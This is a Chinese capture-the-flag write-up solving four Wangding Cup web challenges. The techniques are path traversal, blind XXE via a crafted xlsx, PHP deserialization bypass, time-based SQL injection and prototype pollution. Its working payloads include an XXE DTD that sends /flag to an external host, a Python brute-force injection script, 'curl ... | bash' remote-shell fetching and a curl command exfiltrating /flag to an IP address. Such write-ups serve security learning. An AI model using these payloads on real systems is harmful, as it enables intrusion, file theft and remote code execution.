网鼎杯WEB题解

0x 01 前言

​ 老高太强了 ,我躺躺了

0x 02 filejava

  • 考点

    任意文件读取、CVE-2014-3529

  • 解题过程

  1. 在文件下载功能进行目录穿越读取相关文件
1
2
3
4
5
/DownloadServlet?filename=../../../../WEB-INF/web.xml
根据xml信息依次读取:
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

反编译class文件进行代码审计,在upload里发现关键代码

参考这篇文章:https://xz.aliyun.com/t/6996?tdsourcetag=s_pctim_aiomsg

构造盲XXE的xlsx文件进行文件读取

新建新建execl-1.xlsx文件,修改后缀名execl-1.xlsx.zip解压,然后在[Content_Types].xml添加payload

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://xxxxxx/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

重新打包成excel-1.xlsx,注意文件名一定不能错,我就这样被坑掉了。

在服务器上新建一个evil.etd文件,内容如下:

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxxxx:9999/%file;'>">

nc监听,上传文件触发payload,收到flag

0x 02 AreUSerialz

  • 考点

    php反序列化bypass

  • 解题过程

序列化的字符串需要绕过is_valid()函数,因为protected类型的属性的序列化字符串包含不可见字符\00,会被is_valid()函数给ban掉,预期解法应该是是利用S来代替s,在这种情况下\00就会被解析成%00(1个字符),而如果是小写s,\00就是一个斜线+2个零(3个字符),在MRCTF中考到了这个考点。

另外反序列化的时候首先进入的是析构函数,会判断op属性的值如果不是“2”,如果是的话修改成“1”

但是在process()方法内有进行了判断if ($this->op == "2"),两处存在差异可以使用弱类型比较绕过。文件读取需要使用相对路径一直打不通,需要使用绝对路径,首先读取/proc/self/cmdline

或者/etc/apache2/httpd.conf得到web根目录为/web/html,然后读取flag文件,最终exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=/web/html/flag.php";
}

}

echo serialize(new FileHandler());

payload修改为:

1
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";N;}

非预期解法是利用php版本特性:php7.1+版本对属性类型不敏感,所以修改属性类型为public即可

补充:

相对路径的锅,之前D3CTF也有遇到,一直不知道原因,看了颖奇师傅的博客才懂了:如果反序列化字符串没有异常就往前穿越到了根目录,下面是照搬的笔记

为啥会穿越目录?这是析构方法的锅,请看官方Note:

https://www.php.net/manual/zh/language.oop5.decon.php

析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。

这种问题在开发中也出现,请参考这篇文章给出的解决办法:

1、在__destruct 中使用绝对路径操作文件

2、__destruct 之前比如构造函数内,先获取 getcwd() 工作目录,然后在 __destruct 中使用 chdir($StrPath) 重新设定工作目录。

使用相对路径的时候:

1
$res = file_get_contents($this->filename);

会失败并且返回false,所以直接读取是不可以的;但是只要修改一下序列化字符串,比如删掉个符号,改错长度等等,这个file_get_contents()便不再返回false(绝对路径也不返回false),也就能成功进行读取了

膜颖奇师傅,tql

0x 03 trace

  • 考点

    insert注入

  • 解题过程

存在insert注入,利用逻辑运算符和溢出报错来进行注入,这里用 pow(9999,100) ,这个表达式的值在 MYSQL 中已经超出 double 范围,会溢出。当我们比较结果为假时,就会执行到溢出语句,返回结果为 数据库操作失败 ;当我们比较结果为真时,执行sleep函数最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python2
# coding=utf-8
import requests
import time

s = requests.session()

url = "http://43130fb576a44b6ba6d28e970fa02838061bf0e828f446dd.cloudgame1.ichunqiu.com/register_do.php"
flag = ""

for i in range(1, 100):
for j in range(33, 127):
param = "2'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),{},1))={},sleep(3),pow(9999,100)),'1')#".format(str(i), str(j))
# print param
data = {
'username': param,
'password': 'bb'
}
st = time.time()
r = requests.post(url, data=data, timeout=100)
if time.time() - st > 2:
flag += chr(j)
print flag
break
print(flag)

0x 04 notes

  • 考点

    原型链污染

  • 解题过程

审计代码发现

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

而undefsafe函数存在原型链污染,参考https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

在edit_note调用该函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

在status路由存在命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

通过原型链污染给commands增加父类属性从而命令执行。payload如下:

1
id=__proto__.a&author=curl http://xxxx/shell.txt|bash&raw=hello world

然后访问status触发原型链污染

颖奇师傅的教的payload。如果不能反弹shell的话外带flag

1
2
3
4
id=__proto__.bb&author=curl -F 'flag=@/flag' 174.1.58.51:9999&raw=a

内容以符号 @ 开头,其后的字符串将被解析为文件名,curl 命令会从这个文件中读取数据发送
-F/--form 模拟表单提交